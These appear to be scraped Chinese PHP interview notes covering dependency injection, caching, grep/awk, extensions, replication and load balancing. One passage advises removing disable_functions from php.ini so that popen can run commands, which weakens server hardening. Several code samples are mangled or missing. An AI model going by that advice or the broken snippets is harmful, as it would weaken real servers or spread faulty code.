//依赖注入(Dependency injection)也叫控制反转（Inversion of Control）是一种设计模式，这种模式用来减少程序间的耦合。

//假设我们有个类，需要用到数据库连接，我们可能这样写

class UseDataBase{

protected $adapter;

public function __construct(){

$this->adapter=new MySqlAdapter;

}

public function getList(){

$this->adapter->query("sql语句");//使用MyS____q____lAdapter类中的query方法；

}

}

class MySqlAdapter{};

//我们可以通过依赖注入来重构上面这个例子

class UseDataBase{

protected $adapter;

public function __construct(MySqlAdapter $adapter){

$this->adapter=$adapter;

}

public function getList(){

$this->adapter->query("sql语句");//使用MyS____q____lAdapter类中的query方法；

}

}

class MySqlAdapter{};

//但是，当我们有很多种数据库时，上面的这种方式就达不到要求或者要写很多个usedatabase类,所以我们再重构上面的这个例子

class UseDataBase{

protected $adapter;

poublic function __construct(AdapterInterface $adapter){

$this->adapter=$adapter;

}

public function getList(){

$this->adapter->query("sql语句");//使用Adapter____Interface__类中的query方法；__

}

}

interface AdapterInterface{};

class MySqlAdapter implements AdapterInterface{};

class MSsqlAdapter implements AdapterInterface{};

//这样的话，当要使用不同的数据库时，我们只需要添加数据库类实现适配器接口就够了，

usedatabase类则不需要动。

?>

因为大多数应用程序都是由两个或者更多的类通过彼此合作来实现业务逻辑，这使得每个对象都需要获取与其合作的对象（也就是它所依赖的对象）的引用。如果这个获取过程要靠自身实现，那么将导致代码高度耦合并且难以维护和调试。

如何异步执行命令

不明白作者提出的这个问题是想问shell异步执行还是php异步执行脚本。

Shell异步执行：

bash提供了一个内置的命令来帮助管理异步执行。wait命令可以让父脚本暂停，直到指定的进程（比如子脚本）结束。

Php异步执行脚本：

必须在php.ini中注释掉disable_functions，这样popen函数才能使用。该函数打开一个指向进程的管道，该进程由派生给定的 command 命令执行而产生。打开一个指向进程的管道，该进程由派生给定的 command 命令执行而产生。所以可以通过调用它，但忽略它的输出

resource popen ( string $command , string $mode )

$command：linux命令                 $mode：模式。

返回一个和 fopen() 所返回的相同的文件指针，只不过它是单向的（只能用于读或写）并且必须用 pclose() 来关闭。此指针可以用于fgets()，fgetss() 和 fwrite()。 当模式为 'r'，返回的文件指针等于命令的 STDOUT，当模式为 'w'，返回的文件指针等于命令的 STDIN。如果出错返回 FALSE。

这种方法不能通过HTTP协议请求另外的一个WebService，只能执行本地的脚本文件。并且只能单向打开，无法穿大量参数给被调用脚本。并且如果，访问量很高的时候，会产生大量的进程。如果使用到了外部资源，还要自己考虑竞争。

方法2

$ch = curl_init();        

 $curl_opt = array(

     CURLOPT_URL=>'hostname/syncStock.php',

     CURLOPT_RETURNTRANSFER=>1,

     CURLOPT_TIMEOUT=>1,);        

 curl_setopt_array($ch, $curl_opt);        

 $out = curl_exec($ch);        

 curl_close($ch);

原理：通过curl去调用一个php脚本，如果响应时间超过了1秒钟，则断开该连接，程序继续往下走而syncStock.php这个脚本还在继续往下执行。

缺点：必须设置CURLOPT_TIMEOUT=>1这个属性，所以导致客户端必须至少等待1秒。但是这个属性不设置又不行，不设置的话，就会一直等待响应。就没有异步的效果了

模板引擎是什么，解决什么问题、实现原理（Smarty、Twig、Blade）

模板引擎是为了使用户界面与业务数据（内容）分离而产生的，它可以生成特定格式的文档，用于网站的模板引擎就会生成一个标准的HTML文档。

模板引擎的实现方式有很多，最简单的是“置换型”模板引擎，这类模板引擎只是将指定模板内容（字符串）中的特定标记（子字符串）替换一下便生成了最终需要的业务数据（比如网页）。

置换型模板引擎实现简单，但其效率低下，无法满足高负载的应用需求（比如有海量访问的网站），因此还出现了“解释型”模板引擎和“编译型”模板引擎等。

模板引擎可以让（网站）程序实现界面与数据分离，业务代码与逻辑代码的分离，这就大大提升了开发效率，良好的设计也使得代码重用变得更加容易。

我们司空见惯的模板安装卸载等概念，基本上都和模板引擎有着千丝万缕的联系。模板引擎不只是可以让你实现代码分离（业务逻辑代码和用户界面代码），也可以实现数据分离（动态数据与静态数据），还可以实现代码单元共享（代码重用），甚至是多语言、动态页面与静态页面自动均衡（SDE）等等与用户界面可能没有关系的功能。

Smarty：

Smarty是一个php模板引擎。更准确的说，它分离了逻辑程序和外在的内容，提供了一种易于管理的方法。Smarty总的设计理念就是分离业务逻辑和表现逻辑，优点概括如下：

速度——相对于其他的模板引擎技术而言，采用Smarty编写的程序可以获得最大速度的提高

编译型——采用Smarty编写的程序在运行时要编译成一个非模板技术的PHP文件，这个文件采用了PHP与HTML混合的方式，在下一次访问模板时将Web请求直接转换到这个文件中，而不再进行模板重新编译(在源程序没有改动的情况下)，使用后续的调用速度更快

缓存技术——Smarty提供了一种可选择使用的缓存技术，它可以将用户最终看到的HTML文件缓存成一个静态的HTML页面。当用户开启Smarty缓存时，并在设定的时间内，将用户的Web请求直接转换到这个静态的HTML文件中来，这相当于调用一个静态的HTML文件

插件技术——Smarty模板引擎是采用PHP的面向对象技术实现，不仅可以在原代码中修改，还可以自定义一些功能插件(按规则自定义的函数)

强大的表现逻辑——在Smarty模板中能够通过条件判断以及迭代地处理数据，它实际上就是种程序设计语言，但语法简单，设计人员在不需要预备的编程知识前提下就可以很快学会

模板继承——模板的继承是Smarty3的新事物。在模板继承里，将保持模板作为独立页面而不用加载其他页面，可以操纵内容块继承它们。这使得模板更直观、更有效和易管理

Twig：

Twig是一个灵活，快速，安全的PHP模板语言。它将模板编译成经过优化的原始PHP代码。Twig拥有一个Sandbox模型来检测不可信的模板代码。Twig由一个灵活的词法分析器和语法分析器组成，可以让开发人员定义自己的标签，过滤器并创建自己的DSL。

Blade：

Blade 是 Laravel 提供的一个简单而又强大的模板引擎。和其他流行的 PHP 模板引擎不同，Blade 并不限制你在视图中使用原生 PHP 代码。所有 Blade 视图文件都将被编译成原生的 PHP 代码并缓存起来，除非它被修改，否则不会重新编译，这就意味着 Blade 基本上不会给你的应用增加任何负担。Blade 视图文件使用 .blade.php 作为文件扩展名，被存放在 resources/views 目录。

如何实现链式操作 $obj->w()->m()->d();

1. 简单实现（关键通过做完操作后return $this;）

1. 利用__call()方法实现

Xhprof 、Xdebug 性能调试工具使用**

XHProf：

XHProf 是一个轻量级的分层性能测量分析器。 在数据收集阶段，它跟踪调用次数与测量数据，展示程序动态调用的弧线图。 它在报告、后期处理阶段计算了独占的性能度量，例如运行经过的时间、CPU 计算时间和内存开销。 函数性能报告可以由调用者和被调用者终止。 在数据搜集阶段 XHProf 通过调用图的循环来检测递归函数，通过赋予唯一的深度名称来避免递归调用的循环。

XHProf 包含了一个基于 HTML 的简单用户界面(由 PHP 写成)。 基于浏览器的用户界面使得浏览、分享性能数据结果更加简单方便。 同时也支持查看调用图。

XHProf 的报告对理解代码执行结构常常很有帮助。 比如此分层报告可用于确定在哪个调用链里调用了某个函数。

XHProf 对两次运行进行比较（又名 "diff" 报告），或者多次运行数据的合计。 对比、合并报告，很像针对单次运行的“平式视图”性能报告，就像“分层式视图”的性能报告。

Xdebug：

Xdebug是一个开放源代码的PHP程序调试器(即一个Debug工具)，可以用来跟踪，

调试和分析PHP程序的运行状况。Xdebug的基本功能包括在错误条件下显示堆栈轨迹，最大嵌套级别和时间跟踪。

索引数组 [1, 2] 与关联数组 ['k1'=>1, 'k2'=>2] 有什么区别

暂时没有研究太深，按简单理解：

索引数组的默认key是从0开始的数字，可省略不写；而关联数组的key是字符串，必须主动指明，字符串内容可为数字也可为其他字符。

缓存的使用方式、场景（原文copy的）

为什么使用缓存

提升性能：使用缓存可以跳过数据库查询，分布式系统中可以跳过多次网络开销。在读多写少的场景下，可以有效的提高性能，降低数据库等系统的压力。

缓存的适用场景

1.数据不需要强一致性

2.读多写少，并且读取得数据重复性较高

缓存的正确打开方式

1.Cache Aside 同时更新缓存和数据库

2.Read/Write Through 先更新缓存，缓存负责同步更新数据库

3.Write Behind Caching 先更新缓存，缓存负责异步更新数据库

下面具体分析每种模式

一、Cache Aside 更新模式

这是最常用的缓存模式了，具体的流程是：

读取：应用程序先从 cache 取数据，取到后成功返回；没有得到，则从数据库中取数据，成功后，放到缓存中。

更新：先把数据存到数据库中，再清理缓存使其失效。

不过这种模式有几个变种：

第一，如果先更新数据库再更新缓存。假设两个并发更新操作，数据库先更新的反而后更新缓存，数据库后更新的反而先更新缓存。这样就会造成数据库和缓存中的数据不一致，应用程序中读取的都是脏数据。

第二，先删除缓存再更新数据库。假设一个更新操作先删除了缓存，一个读操作没有命中缓存，从数据库中取出数据并且更新回缓存，再然后更新操作完成数据库更新。这时数据库和缓存中的数据是不一致的，应用程序中读取的都是原来的数据。

第三，先更新数据库再删除缓存。假设一个读操作没有命中缓存，然后读取数据库的老数据。同时有一个并发更新操作，在读操作之后更新了数据库并清空了缓存。此时读操作将之前从数据库中读取出的老数据更新回了缓存。这时数据库和缓存中的数据也是不一致的。

但是一般情况下，缓存用于读多写少的场景，所以第三种这种情况其实是小概率会出现的。

二、Read/Write Through 更新模式

Read Through 模式就是在查询操作中更新缓存，缓存服务自己来加载。

Write Through 模式和 Read Through 相仿，不过是在更新数据时发生。当有数据更新的时候，如果没有命中缓存，直接更新数据库，然后返回。如果命中了缓存，则更新缓存，然后由缓存自己更新数据库（这是一个同步操作）。

三、Write Behind Caching 更新模式

Write Behind Caching 更新模式就是在更新数据的时候，只更新缓存，不更新数据库，而我们的缓存会异步地批量更新数据库。但其带来的问题是，数据不是强一致性的，而且可能会丢失。

总结，三种缓存模式的优缺点：

Cache Aside 更新模式实现起来比较简单，最常用，实时性也高，但是需要应用需要关注核实加载数据进入缓存 。

Read/Write Through 更新模式只需要维护一个缓存，对应用屏蔽掉了缓存的细节，实时性也高。但是实现起来要复杂一些。

Write Behind Caching 吞吐量很高，多次操作可以合并。但是数据可能会丢失，例如系统断电等，实现起来最复杂。

实践篇

给定二维数组，根据某个字段排序

举例：一组学生信息，要按年龄大小升序或降序排序（类似与sql语句的order by功能）

$arr = [
    ['id' => 6, 'name' => '小明'],
    ['id' => 1, 'name' => '小亮'],
    ['id' => 13, 'name' => '小红'],
    ['id' => 2, 'name' => '小强'],
];

// 方法1：手动写排序方法：

/** 对给定二维数组按照某个字段升序或降序排序
 * @param $arr 给定一个二维数组，这里的$arr
 * @param $sortField 根据哪个字段排序，这里的id
 * @param string $sort 升序还是降序,默认升序

*思路：取出所有要排序的字段的值组成一个新数组，根据升序降序保留键值排序，此时新数组的键值顺序就是要得到的排序后的二维数组的键值顺序，然后将原二维数组按照此键值顺序排列即可。

注意：这里没有重置排序后的二维数组的索引，如需重置可自行扩展
 */
private function arraySort($arr, $sortField, $sort = 'asc') {
    $newArr = array();
    foreach ($arr as $key => $value) {
        $newArr[__$key__] = $value[__$sortField__];
    }
    ($sort == 'asc') ? asort($newArr) : arsort($newArr);
    foreach ($newArr as $k => $v) {
        $newArr[__$k__] = $arr[__$k__];
    }
    return $newArr;
}

// 方法2：使用php提供的排序函数array_multisort__（），__默认会重置排序后的索引，即从0开始顺序往下排

foreach ($arr as $key => $value) {
    $id[__$key__] = $value['id'];
}
array_multisort($id, SORT_ASC, $arr); // 返回True or False

如何判断上传文件类型，如：仅允许 jpg 上传

  网上出现频率较高的一段代码：lz认为此段代码对上传文件的类型限制还是比较好的，因为之前看资料说仅通过mime类型判断有时候不太靠谱，而仅通过文件后缀名判断好像也不是很靠谱，所以这里采用双重判断，以下代码稍微加了点注释：

不使用临时变量交换两个变量的值 $a=1; $b=2; => $a=2; $b=1;

最先想到的利用加减运算这里就不说了，因为那只适用于数字类型。

1.字符串截取法：

function myExchange(&$a = '', &$b = '') {
    $a = $a . $b;
    $b = substr($a,0,-strlen($b));
    $a = substr($a,strlen($a)-strlen($b),strlen($b));
    return true;
}

2.数组法：

private function myExchange(&$a = '', &$b = '') {
    $a = array($a, $b);
    $b = $a[0];
    $a = $a[1];
    return true;
}

strtoupper 在转换中文时存在乱码，你如何解决？php echo strtoupper('ab你好c');**

php echo strtoupper('ab你好c');（经测试中文系统下不会出现乱码，网上资料说是英文系统或部分盗版系统或因编码格式问题可能出现题述情况。

1. mb系列函数解决（mb系列函数可以显式指明编码）

string mb_convert_case (string $str ,int $mode [,string $encoding = mb_internal_encoding()])

$mode有三种模式：
1.MB_CASE_UPPER：转成大写
2.MB_CASE_LOWER：转成小写
3.MB_CASE_TITLE ：转成首字母大写

$encoding默认使用内部编码；也可以显示使用如’UTF-8’;
可以用echo mb_internal_encoding();来查看；

此方法不仅可以解决中文问题，对其他问题也适用。

2.手动解决：用str_split(string $string, int $split_length = 1)按每个字节切割，像中文能切割成三个字节。对识别到的字节若是英文字母则进行转换。

结果是：

www

git version 1.7.1

221601.89 879803.10

DirectMap2M: 2088960 kB

0.39 0.24 0.21 1/167 5584

这个函数可以轻松的实现在服务器上执行一个命令，非常关键，一定要小心使用。

Windows：

怎样用dos命令（cmd命令中输入）查看硬盘、内存和CPU信息？

1、查看磁盘信息：wmic freedisk，可以查看每一个盘的剩余空间。

wmic diskdrive，可以看出牌子和大小。

Wmic logicaldisk，可以看到有几个盘，每一个盘的文件系统和剩余空间。

wmic volume，每个盘的剩余空间量，其实上一个命令也可以查看的。

fsutil volume diskfree c: 这个命令查看每一个卷的容量信息是很方便的。

2、查看CPU信息：

wmic cpu上面显示的有位宽，最大始终频率，生产厂商，二级缓存等信息。

3、查看内存信息：

wmic memorychip可以显示出内存条数、容量和速度。

4、查看BIOS信息：

wmic bios主板型号、BIOS 版本。

Windows下直接echo无内容输出，需给exec第二个参数（数组）用于保存内容

http://php.net/manual/en/function.exec.php

两系统得到的信息格式均不友好且不好处理。

时间一般time()，系统版本相关一般phpinfo可以解决？

抱歉看错了，这一篇既然是服务器篇，应该跟php无关的，以上命令可以移除php直接执行，补充查看时间、系统版本cmd命令：

Linux时间：date                windows时间：date, time

linux系统版本：lsb_release -a     windows系统版本：systeminfo

find 、grep 查找文件**

知乎原文：https://www.jianshu.com/p/3833a50f4985

从文件内容查找匹配指定字符串的行：

grep “被查找的字符串” 文件名

在当前目录里第一级文件夹中寻找包含指定字符串的.in文件

grep “thermcontact” /.in

从文件内容查找与正则表达式匹配的行：

grep –e “正则表达式” 文件名

查找时不区分大小写：

grep –i “被查找的字符串” 文件名

查找匹配的行数：

grep -c “被查找的字符串” 文件名

从文件内容查找不匹配指定字符串的行：

grep –v “被查找的字符串” 文件名

从根目录开始查找所有扩展名为.log的文本文件，并找出包含”ERROR”的行

find / -type f -name “*.log” | xargs grep “ERROR”

从当前目录开始查找所有扩展名为.in的文本文件，并找出包含”test”的行

find . -name “*.in” | xargs grep “test”

从当前目录开始查找所有zui/css的文件，显示出文件名及匹配到的信息。

grep zui\/css * -r

在当前目录搜索带’energywise’行的文件

grep 'test' *

在当前目录及其子目录下搜索’test’行的文件

grep -r 'test' *

在当前目录及其子目录下搜索’test’行的文件，但是不显示匹配的行，只显示匹配的文件

grep -l -r 'energywise' *

awk 处理文本

简单介绍：

原文：http://blog.wuxu92.com/using-awk/

在Linux下我们经常需要对一些文本文档做一些处理，尤其像从日志里提取一些数据，这是我们一般会用awk工具和sed工具去实现需求，这里对awk的入门使用简单记录。

awk可以看作一种文本处理工具，一种专注数据操作的编程语言，一个数据处理引擎。其名字来源于三个发明者的姓名首字母。一般在Linux下使用的awk是gawk(gnu awk)。

入门

awk把文本文档看作是数据库，每一行看作一条数据库中的记录，可以指定数据列的分隔符，默认的分隔符是”\t”,即Tab。

awk工作流程是这样的：读入有’\n’换行符分割的一条记录，然后将记录按指定的域分隔符划分域，填充域，$0则表示所有域,$1表示第一个域,$n表示第n个域。默认域分隔符是”空白键” 或 “[tab]键”

awk的执行模式是： awk '{pattern + action}' {filenames}

awk的执行方式：

1.命令行方式

awk [-F  field-separator]  'commands'  input-file(s)

其中，commands 是真正awk命令，[-F域分隔符]是可选的。 input-file(s) 是待处理的文件。

在awk中，文件的每一行中，由域分隔符分开的每一项称为一个域。通常，在不指名-F域分隔符的情况下，默认的域分隔符是空格。

2.shell脚本方式

将所有的awk命令插入一个文件，并使awk程序可执行，然后awk命令解释器作为脚本的首行，一遍通过键入脚本名称来调用。

相当于shell脚本首行的：#!/bin/sh

可以换成：#!/bin/awk

3.将所有的awk命令插入一个单独文件，然后调用：

awk -f awk-script-file input-file(s)

其中，-f选项加载awk-script-file中的awk脚本，input-file(s)跟上面的是一样的。

一般是哟你哦个命令行模式就能满足需求了。

这样下面的一行文本：

abc def 123

dfg jik 234

在awk看来就是一个包含三个字段的记录，可以类比到mysql的一行记录，只不过awk没有一个mysql那么强的scheme。

这样比如我们要抽出中间的那一行数据，假设文本保存为文件 data.txt

awk '{print $2}'

很简单，这样就可以打印出中间的字符def 和jik 了。

下面来一个点点复杂的：

Beth 4.00 0

Dan 3.75 0

kathy 4.00 10

Mark 5.00 20

Mary 5.50 22

Susie 4.25 18

对于这样的数据

使用 awk '$3>0 { print $, $2 * $3 }' data.txt 这样会输出

Kathy 40

Mark 100

Mary 121

Susie 76.5

理解就是可以在{}前面添加一个判断的语句，只有符合条件的行才会执行后面的语句。

进阶

相对于print输出，可以使用printf进行格式化输出：

awk  -F ':'  '{printf("filename:%10s,linenumber:%s,columns:%s,linecontent:%s\n",FILENAME,NR,NF,$0)}' /etc/passwd

print函数的参数可以是变量、数值或者字符串。字符串必须用双引号引用，参数用逗号分隔。如果没有逗号，参数就串联在一起而无法区分。这里，逗号的作用与输出文件的分隔符的作用是一样的，只是后者是空格而已。

printf函数，其用法和c语言中printf基本相似,可以格式化字符串,输出复杂时，printf更加好用，代码更易懂。

查看命令所在目录

linux：

which ,whereis

which 用来查看当前要执行的命令所在的路径。

whereis 用来查看一个命令或者文件所在的路径，

自己编译过 PHP 吗？如何打开 readline 功能

没玩过，暂无找到解释。

如何查看 PHP 进程的内存、CPU 占用**

int memory_get_usage ([ bool $real_usage = false ] )：返回当前的内存消耗情况，返回已使用内存字节数

1、查看服务器网卡流量、

sar -n DEV 2 10

2、查看CPU

Top

3、查看系统内存

free -m

4、查看当前系统中的所有进程，过滤出来php相关的进程

ps -ef | grep php

如何给 PHP 增加一个扩展

使用php的常见问题是：编译php时忘记添加某扩展，后来想添加扩展，但是因为安装php后又装了一些东西如PEAR等，不想删除目录重装，别说，php还真有这样的功能。

　　我没有在手册中看到。

　　如我想增加bcmath支持，这是一个支持大整数计算的扩展。windows自带而且内置，linux“本类函数仅在 PHP 编译时配置了 --enable-bcmath 时可用”(引号内是手册中的话)

　　幸好有phpize，

　　方法是，要有与现有php完全相同的php压缩包。我用的是php-5.2.6.tar.gz。

　　展开后进入里面的ext/bcmath目录

　　然后执行/usr/local/php/bin/phpize，这是一个可执行的文本文件，要确保它在系统中

　　会发现当前目录下多了一些configure文件，

　　如果没报错，则

Php代码

./configure --with-php-config=/usr/local/php/bin/php-config

　　注意要先确保/usr/local/php/bin/php-config存在。

　　如果你的php安装路径不是默认的，要改。

　　如果没有报错，则make，再make install ，然后它告诉你一个目录

　　你把该目录下的bcmath.so拷贝到你php.ini中的extension_dir指向的目录中，

　　修改php.ini,在最后添加一句extension=bcmath.so

　　重启apache

-----------------------------------------

一、phpize是干嘛的？

phpize是什么东西呢？php官方的说明：

http://php.net/manual/en/install.pecl.phpize.php

phpize是用来扩展php扩展模块的，通过phpize可以建立php的外挂模块

比如你想在原来编译好的php中加入memcached或者ImageMagick等扩展模块，可以使用phpize，通过以下几步工作。

二、如何使用phpize？

当php编译完成后，php的bin目录下会有phpize这个脚本文件。在编译你要添加的扩展模块之前，执行以下phpize就可以了；

比如现在想在php中加入memcache扩展模块：我们要做的只是如下几步

————————————————————————

tar zxvf memcache-2.2.5.tgz

cd memcache-2.2.5/

/usr/local/webserver/php/bin/phpize

./configure –with-php-config=/usr/local/webserver/php/bin/php-config

make

make install

————————————————————————

注意./configure 后面可以指定的是php-config文件的路径

这样编译就完成了，还需要做的是在php.ini文件中加入extension值

extension = “memcache.so”

修改 PHP Session 存储位置、修改 INI 配置参数

通过修改php配置文件即php.ini中的 session.save_path属性值即可 ；

通常php.ini的位置在：

/etc目录下或/usr/local/lib目录下；

如果找不到，可通过phpinfo()方法输出结果查看到。

php.ini位置修改方法如下： php.ini文件缺省放在/usr/local/lib上面，

可以在编译的时候使用--with-config-file-path参数来修改php.ini的存放位置。

例如,

你可以使用--with-config-file-path=/etc

把php.ini存放到/etc下面，然后可以从源码包中拷贝php.ini-dist到/etc/php.ini。

具体修改ini的配置参数就不用多说了，每一行前面分号表示注释，需要改值的直接修改等号右侧值即可。

负载均衡有哪几种，挑一种你熟悉的说明其原理

维基对负载均衡概念的解释：

“负载均衡”是一种计算机技术，用来在多个计算机（计算机集群）、网络连接、CPU、磁盘驱动器或其他资源中分配负载，以达到最优化资源使用、最大化吞吐率、最小化响应时间、同时避免过载的目的。 使用带有负载平衡的多个服务器组件，取代单一的组件，可以通过冗余提高可靠性。负载平衡服务通常是由专用软件和硬件来完成。 主要作用是将大量作业合理地分摊到多个操作单元上进行执行，用于解决互联网架构中的高并发和高可用的问题。

翻了很多资料，大致都将负载均衡分为这几种：

1. HTTP重定向负载均衡。

这种负载均衡方案的优点是比较简单；

缺点是浏览器需要每次请求两次服务器才能拿完成一次访问，性能较差。

（2）DNS域名解析负载均衡。

优点是将负载均衡工作交给DNS，省略掉了网络管理的麻烦；

缺点就是DNS可能缓存A记录，不受网站控制。

（3）反向代理负载均衡。

优点是部署简单；

缺点是反向代理服务器是所有请求和响应的中转站，其性能可能会成为瓶颈。

（4）IP负载均衡。

优点：IP负载均衡在内核进程完成数据分发，较反向代理均衡有更好的处理性能。

缺点：负载均衡的网卡带宽成为系统的瓶颈。

（5）数据链路层负载均衡。

避免负载均衡服务器网卡带宽成为瓶颈，是目前大型网站所使用的最广的一种负载均衡手段。

简书上看到介绍负载均衡的原理的有文章（https://www.jianshu.com/p/da6e562fa3a6），

数据库主从复制 M-S 是怎么同步的？是推还是拉？会不会不同步？怎么办

简要解释：

主服务器master记录数据库操作日志到Binary log，从服务器开启i/o线程将二进制日志记录的操作同步到relay log（存在从服务器的缓存中），另外sql线程将relay log日志记录的操作在从服务器执行。

更详细的解释：

1．Slave 上面的IO线程连接上 Master，并请求从指定日志文件的指定位置(或者从最开始的日志)之后的日志内容；

2. Master 接收到来自 Slave 的 IO 线程的请求后，通过负责复制的 IO 线程根据请求信息读取指定日志指定位置之后的日志信息，返回给 Slave 端的 IO 线程。返回信息中除了日志所包含的信息之外，还包括本次返回的信息在 Master 端的 Binary Log 文件的名称以及在 Binary Log 中的位置；

3. Slave 的 IO 线程接收到信息后，将接收到的日志内容依次写入到 Slave 端的Relay Log文件(mysql-relay-bin.xxxxxx)的最末端，并将读取到的Master端的bin-log的文件名和位置记录到master- info文件中，以便在下一次读取的时候能够清楚的高速Master“我需要从某个bin-log的哪个位置开始往后的日志内容，请发给我”

4. Slave 的 SQL 线程检测到 Relay Log 中新增加了内容后，会马上解析该 Log 文件中的内容成为在 Master 端真实执行时候的那些可执行的 Query 语句，并在自身执行这些 Query。这样，实际上就是在 Master 端和 Slave 端执行了同样的 Query，所以两端的数据是完全一样的。

出现不同步一般是主从数据库字符集字段等等有不完全一致的地方或配置主从同步的过程中有问题，再有可能就是数据量过大导致错误，具体情况具体解决吧！

如何保障数据的可用性，即使被删库了也能恢复到分钟级别。你会怎么做。

暂时能想到的只有主从低延迟同步和建立多重有效可用备份了。

参考：甲骨文的一张ppt

数据库连接过多，超过最大值，如何优化架构。从哪些方面处理？

原文链接

最直接的解决方法：修改 MySQL 安装目录下 my.ini 或者 my.cnf 文件内的 max_user_connections 参数的数值，重启 MySQL 服务器。

一些可能的原因：

1.类似人数、在线时间、浏览数等统计功能与主程序数据库同属一个数据空间时就很容易出现。

2.复杂的动态页尤其是用户每次浏览都涉及到多数据库或多表操作时候也很容易出现。

3.还有就是程序设计的不合理（比如复杂运算、等待等操作放置在数据库交互行为中间进行），或者程序存在释放BUG。

4.计算机硬件配置太低却安装太高版、太高配置的MySQL。

5.未采用缓存技术。

6.数据库未经过优化或表格设计及其复杂。

另外一种数据库连接池方向：原文链接

数据库连接池（Connection pooling）是程序启动时建立足够的数据库连接，并将这些连接组成一个连接池，由程序动态地对池中的连接进行申请，使用，释放。创建数据库连接是一个很耗时的操作，也容易对数据库造成安全隐患。所以，在程序初始化的时候，集中创建多个数据库连接，并把他们集中管理，供程序使用，可以保证较快的数据库读写速度，还更加安全可靠。

连接池基本的思想是在系统初始化的时候，将数据库连接作为对象存储在内存中，当用户需要访问数据库时，并非建立一个新的连接，而是从连接池中取出一个已建立的空闲连接对象。使用完毕后，用户也并非将连接关闭，而是将连接放回连接池中，以供下一个请求访问使用。而连接的建立、断开都由连接池自身来管理。同时，还可以通过设置连接池的参数来控制连接池中的初始连接数、连接的上下限数以及每个连接的最大使用次数、最大空闲时间等等，也可以通过其自身的管理机制来监视数据库连接的数量、使用情况等。如下图：

数据库连接池机制：

（1）建立数据库连接池对象（服务器启动）。

（2）按照事先指定的参数创建初始数量的数据库连接（即：空闲连接数）。

（3）对于一个数据库访问请求，直接从连接池中得到一个连接。如果数据库连接池对象中没有空闲的连接，且连接数没有达到最大（即：最大活跃连接数），创建一个新的数据库连接。

（4）存取数据库。

（5）关闭数据库，释放所有数据库连接（此时的关闭数据库连接，并非真正关闭，而是将其放入空闲队列中。如实际空闲连接数大于初始空闲连接数则释放连接）。

（6）释放数据库连接池对象（服务器停止、维护期间，释放数据库连接池对象，并释放所有连接）。

数据库连接池在初始化时，按照连接池最小连接数，创建相应数量连接放入池中，无论是否被使用。当连接请求数大于最大连接数阀值时，会加入到等待队列！

数据库连接池的最小连接数和最大连接数的设置要考虑到以下几个因素:

最小连接数:是连接池一直保持的数据库连接,所以如果应用程序对数据库连接的使用量不大,将会有大量的数据库连接资源被浪费.

最大连接数:是连接池能申请的最大连接数,如果数据库连接请求超过次数,后面的数据库连接请求将被加入到等待队列中,这会影响以后的数据库操作

如果最小连接数与最大连接数相差很大:那么最先连接请求将会获利,之后超过最小连接数量的连接请求等价于建立一个新的数据库连接.不过,这些大于最小连接数的数据库连接在使用完不会马上被释放,他将被放到连接池中等待重复使用或是空间超时后被释放.

502 大概什么什么原因？ 如何排查 504呢？**

前面说过各种错误码的书面解释了（飞机票），这里再针对502，504引用一篇简书小文章

502： Bad Gateway；504: Gateway Timeout；

从字面意思看来，都是因为Gateway发生了问题；什么是Gateway，个人的理解就是对PHP这种脚本服务器而言，服务器的脚本执行程序（FastCGI服务）发生错误或者出现超时就会报502或者504。

典型的502错误是，如果PHP-CGI被卡住，所有进程都正在处理；那么当新的请求进来时，PHP-CGI将无法处理新的请求就会导致502出现；

而504的典型错误就像上文所述，PHP执行被阻塞住，导致nginx等服务迟迟收不到返回的数据，此时就会报504的错误。

架构篇

偏运维（了解）：

• * 负载均衡（Nginx、HAProxy、DNS）

前文已有叙述，此处补充HAProxy 原文链接

在大型系统设计中用代理在负载均衡是最常见的一种方式，而相对靠谱的解决方案中Nginx、HAProxy、LVS、F5在各大场中用得比较普遍，各有各的优势和使用场景，由于本次要使用到TCP，因此Nginx只能在HTTP层负载，因此用HAProxy来负载，为什么不用LVS？因为配置太麻烦。

HAProxy是免费、极速且可靠的用于为TCP和基于HTTP应用程序提供高可用、负载均衡和代理服务的解决方案，尤其适用于高负载且需要持久连接或7层处理机制的web站点。HAProxy还可以将后端的服务器与网络隔离，起到保护后端服务器的作用。HAProxy的负载均衡能力虽不如LVS，但也是相当不错，而且由于其工作在7层，可以对http请求报文做深入分析，按照自己的需要将报文转发至后端不同的服务器（例如动静分离），这一点工作在4层的LVS无法完成。

• * 主从复制（MySQL、Redis）

前文

• * 数据冗余、备份（MySQL增量、全量 原理）

数据冗余：数据冗余是指数据之间的重复，也可以说是同一数据存储在不同数据文件中的现象。可以说增加数据的独立性和减少数据冗余是企业范围信息资源管理和大规模信息系统获得成功的前提条件。数据冗余或者信息冗余是生产、生活所必然存在的行为，没有好与不好的总体倾向。

增量、全量、差异备份理解和区别参考文章

• * 监控检查（分存活、服务可用两个维度）

暂无资料

• * MySQL、Redis、Memcached Proxy 、Cluster 目的、原理

暂无资料（不太理解题目意思）

• * 分片

按照数据库分片理解：

分片（sharding）是数据库分区的一种，它将大型数据库分成更小、更快、更容易管理的部分，这些部分叫做数据碎片。碎片这个词意思就是整体的一小部分。

Jason Tee表示：“简言之，分片（sharding）数据库需要将数据库（database）分成多个没有共同点的小型数据库，且它们可以跨多台服务器传播。”

技术上来说，分片（sharding）是水平分区的同义词。在实际操作中，这个术语常用来表示让一个大型数据库更易于管理的所有数据库分区。

分片（sharding）的核心理念基于一个想法：数据库大小以及数据库上每单元时间内的交易数呈线型增长，查询数据库的响应时间（response time）以指数方式增长。

另外，在一个地方创建和维护一个大型数据库的成本会成指数增长，因为数据库将需要高端的计算机。相反地，数据碎片可以分布到大量便宜得多的商用服务器上。就硬件和软件要求而言，数据碎片相对来说没什么限制。

在某些情况中，数据库分片（sharding）可以很简单地完成。按地理位置拆分用户数据库就是一个常见的例子。位于东海岸的用户被分到一台服务器上，在西海岸的用户被分在另一台服务器上。假设没有用户有多个地理位置，这种分区很易于维护和创建规则。

但是数据分片（sharding）在某些情况下会是更为复杂的过程。例如，一个数据库持有很少结构化数据，分片它就可能非常复杂，并且结果碎片可能会很难维护。

• * 高可用集群

高可用集群（High Availability Cluster，简称HA Cluster），是指以减少服务中断时间为目的的服务器集群技术。它通过保护用户的业务程序对外不间断提供的服务，把因软件、硬件、人为造成的故障对业务的影响降低到最小程度。

简单说就是：保证服务不间断地运行，比如，在淘宝网什么时候都可以上去买东西，微信随时可以打开发消息聊天。

• * RAID

按照硬盘RAID理解：简单地说， RAID 是由多个独立的高性能磁盘驱动器组成的磁盘子系统，从而提供比单个磁盘更高的存储性能和数据冗余的技术。 RAID 是一类多磁盘管理技术，其向主机环境提供了成本适中、数据可靠性高的高性能存储。（知乎讨论页）

